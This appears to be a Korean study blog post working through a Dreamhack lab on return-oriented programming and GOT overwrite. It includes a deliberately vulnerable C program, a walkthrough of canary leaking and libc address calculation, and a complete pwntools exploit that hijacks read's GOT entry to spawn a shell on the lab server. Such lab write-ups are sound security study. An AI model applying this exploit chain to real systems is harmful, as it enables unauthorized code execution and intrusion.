이전 실습은 system 함수를 호출하도록 하여 PLT에 system함수가 포함되어 있다. 하지만 실제로 system함수가 PLT에 포함될 가능성은 거의 없다.
[system][hacking] Exploit Tech : Return to Library(RTL)
NX를 우회하는 공격기법인 RTL에 대해 공부한 내용이다. RTL을 공부하기 전 NX가 무엇인지, PLT가 무엇인지 알아야 한다. 이에 대한 내용은 아래의 글에 정리되어 있다. [system][hacking] 메모리 보호기
3omh4.tistory.com
그래서 라이브러리 함수의 실행과 리턴가젯을 연결해 사용하는 ROP(Return Oriented Programming)와 GOT overwrite에 대해 드림핵으로 공부한 내용이다.
ROP
ROP는 리턴 가젯을 사용해 복잡한 실행 흐름을 구현하는 기법이다. 이를 이용해 RTL, GOT overwrite, return to dl-resolve 등의 페이로드를 구성할 수 있다. 지난 글(RTL)에서 pop rdi; ret을 사용해 system("/bin/sh")을 호출한 것도 ROP를 사용해 RTL을 구현한 예시이다.
ROP 페이로드는 리턴 가젯으로 구성된다. ret 단위로 여러 코드가 연쇄적으로 실행되는 모습에서 ROP chain 이라고도 불린다.
ROP를 이용한 GOT overwrite 실습
실습코드
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
해당 예제를 스택 카나리, NX을 적용해 컴파일한다.
코드 분석
[system][hacking] Exploit Tech : Return to Library(RTL)
NX를 우회하는 공격기법인 RTL에 대해 공부한 내용이다. RTL을 공부하기 전 NX가 무엇인지, PLT가 무엇인지 알아야 한다. 이에 대한 내용은 아래의 글에 정리되어 있다. [system][hacking] 메모리 보호기
3omh4.tistory.com
취약점은 위의 코드와 같다. 간단히 설명하자면 처음 read함수를 이용해 canary값을 얻고, 두번째 read 함수의 GOT를 systm함수의 주소로 덮어 system("/bin/sh")를 실행해 쉘을 획득한다.
익스플로잇 설계
최종 목적은 read를 이용해 system("/bin/sh")를 실행하는 것이다. 이를 위해서는 아래의 과정이 필요하다.
- 카나리 우회
- system 함수 주소 계산
- "/bin/sh" 문자열 주소 찾기
- GOT overwrite
1. 카나리 우회
카나리가 무엇인지, 어떻게 우회하는 지는 링크된 글에 정리되어 있다.
2. system함수 주소 계산
system 함수는 libc.so.6에 정의되어 있다. libc.so.6에는 read, puts, printf, system 함수 등이 정의되어 있다. 라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로, libc.so.6의 모든 함수가 프로세스 메모리에 같이 적재된다.
바이너리가 system함수를 직접 호출하지 않아서 system함수가 GOT에는 등록되어 있지 않다(이유는 이 글에서 확인바란다). 그러나 puts, read, printf는 GOT에 등록되어있다. 이들의 GOT를 얻을 수 있다면 libc.so.6이 매핑된 주소를 얻을 수 있다.
libc는 여러 버전이 있는데 같은 버전의 libc안에서 두 데이터 사이의 거리(offset)는 항상 같다. 그래서 libc버전을 알면 offset은 알 수 있으므로, libc가 매핑된 영역의 임의 주소(base_address)를 구할 수 있으면 원하는 데이터의 주소를 모두 계산할 수 있다.
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = r.find_gadget(['pop rdi','ret'])[0]
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
# puts(read_got) -> read 함수 주소 구하려는 용도
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
# read 함수 주소를 이용해 system 함수 주소 구하는 과정
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
e.got['read']는 read함수의 got 테이블 주소를 반환한다.
read함수의 주소를 얻으려면 puts함수를 이용해야한다. puts함수는 인자로 포인터를 전달하기 때문에 read의 got 주소를 넘겨주면 read의 got 주소가 가지고 있는 값, 즉, read의 실제주소를 출력해준다. 이 과정은 system 함수 주소를 구하기 위해 필요한 과정이다.
int puts(const char *s);
puts의 실행 결과를 u64(p.recvn(6)+b"\x00"*2)이런 식으로 받아준다. 보통 우분투 환경에서 64비트 바이너리의 libc 주소는 '0x7f'부터 시작되고 총 6바이트이며, 나머지는 0x00(NULL)으로 채워진다.
[DEBUG] Received 0x7 bytes:
00000000 50 63 03 06 0a 7f 0a │Pc··│···│
00000007
실제 전달받은 값을 context.log_level = 'debug'로 출력해보면 7바이트를 받는 것을 확인할 수 있다. 이때 맨 마지막의 0x0a는 puts로 출력할 때 붙는 개행문자('\n')이다.
3. "/bin/sh" 문자열 주소 찾기
이 바이너리는 데이터 영역에 /bin/sh 문자열이 없다. 그래서 이 문자열을 버퍼에 직접 주입하여 참조하거나, 다른 파일에 포함된 것을 사용해야 한다.
다른 파일의 문자열을 참조할 때 많이 사용되는 것이 libc.so.6에 포함된 "/bin/sh"문자열이다. 이 문자열도 system 함수 주소 구하는 방식과 마찬가지로 , libc의 주소를 구하고, 그 주소로부터 거리를 더하거나 빼서 계산한다. 이 방식은 버퍼에 /bin/sh를 입력하기 어려울 때 차선으로 사용한다.
pwndbg> search /bin/sh
Searching for value: '/bin/sh'
libc-2.31.so 0x7f5388fb05bd 0x68732f6e69622f /* '/bin/sh' */
이번 실습에서는 버퍼에 /bin/sh를 입력하고, 이를 이용한다. 덮어쓸 GOT 엔트리 뒤에 같이 입력해줄 것이다.
4. GOT Overwrite
지난 RTL 실습에서는 system함수의 plt주소와 /bin/sh의 주소를 구한 후, ROP 가젯을 활용해 system("/bin/sh")를 호출하였다. 그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후여서, system함수를 사용하려면 main함수로 돌아가 버퍼 오버플로우를 일으켜야 한다. 이런 공격패턴을 ret2main이라고 한다.
이번 실습에서는 GOT Overwrite를 이용해 한번에 쉘을 획득할 것이다.
라이브러리 동적링킹에서 lazy binding의 과정은 아래와 같다.
- 호출할 라이브러리 함수의 주소를 프로세스에 매핑된 라이브러리에서 찾기
- 찾은 주소를 GOT에 적고, 이를 호출
- 해당 함수를 다시 호출할 경우, GOT에 적힌 주소를 그대로 참조
한번 호출됐던 함수를 다시 호출할 때 GOT에 적힌 주소를 검증하지 않고 참조한다. 여기서 GOT의 주소를 변조할 수 있다면 해당 함수가 재호출될 때 다른 함수를 실행할 수 있다.
알아낸 system 함수의 주소를 다른 함수(호출될 함수)의 GOT에 쓰고, GOT가 변조된 함수를 호출하도록 ROP 체인을 구성해준다.
정리하자면, 다른 함수를 이용해 offset 계산으로 system함수의 주소를 얻고, 얻은 주소를 read함수의 got주소에 넣어준다. 이를 위해 가젯을 이용해 read(0, read_got, 0x10)으로 read_got주소에 system 함수의 주소를 넣어주는 과정이 필요하다. system 함수의 주소를 넣어줄 때, "/bin/sh\x00" 문자열도 같이 넣어준다. 그 후 read함수를 호출하면 system 함수를 호출하는 것이 된다. 따라서 마지막으로 read("/bin/sh")을 호출하도록 ROP 체인을 구성해준다.
Payload 작성
from pwn import *
context.log_level = 'debug'
#p = process("./rop")
p = remote('host3.dreamhack.games',16940)
e = ELF('./rop')
r = ROP(e)
lib = ELF("./libc.so.6")
lib_r = ROP(lib)
def slog(name, addr):
return success(": ".join([name,hex(addr)]))
read_plt = e.plt["read"] #read 함수의 plt 주소
read_got = e.got["read"] #read 함수의 got 주소 -> read함수의 주소 아님!(got 테이블 주소임)
puts_plt = e.plt["puts"] #puts 함수의 plt 주소
puts_got = e.got["puts"] #puts 함수의 got 주소
write_plt = e.plt["write"]
write_got = e.got["write"]
pop_rdi = r.find_gadget(['pop rdi','ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi','pop r15','ret'])[0]
ret = 0x0000000000400596
# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
# [2] system addr
# [2] puts(read_got) -> read함수의 주소 출력
payload += p64(pop_rdi) + p64(read_got)
payload += p64(write_plt) # puts(read_got) 호출
# [4] GOT overwrite
# read(0, read_got, ...) -> 표준 입력에서 값을 읽어와 read_got에 저장
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt) # read(0, read_got, ...) 호출
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi) + p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
print(hex(len(payload)))
slog("pop_rdi",pop_rdi)
slog("read_got",read_got)
slog("pop_rsi_r15",pop_rsi_r15)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b'\x00'*2)
lb = read - lib.symbols["read"]
system = lb + lib.symbols["system"]
slog('read', read)
slog('libc_base', lb)
slog('system', system)
p.send(p64(system)+b"/bin/sh\0x00")
p.interactive()
처음엔 puts함수를 사용해 read 함수 주소를 알아내려 하였으나, 계속 제대로 동작을 안해 디버깅해보니, read(0. read_got, 0)으로 setting되어 read_got 주소를 덮을 수 없는 것으로 파악하였다.
그래서 puts함수 말고 write함수로 바꿔줬더니, 제대로 작동하였다.
# [2] puts(read_got) -> read함수의 주소 출력
# payload += p64(pop_rdi) + p64(read_got)
# payload += p64(write_plt) # puts(read_got) 호출
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
'CS > system' 카테고리의 다른 글
[System][Dreamhack] PIE - Position-Independent Executable (0) | 2023.12.26 |
---|---|
[System][Dreamhack] Exploit Tech : Return Oriented Programming(ROP) - ret2main (0) | 2023.12.22 |
[System][Dreamhack] Exploit Tech : Return to Library(RTL) (0) | 2023.02.01 |
[System] PLT & GOT (0) | 2022.11.28 |
[System] library - Static Link vs Dynamic Link (1) | 2022.11.26 |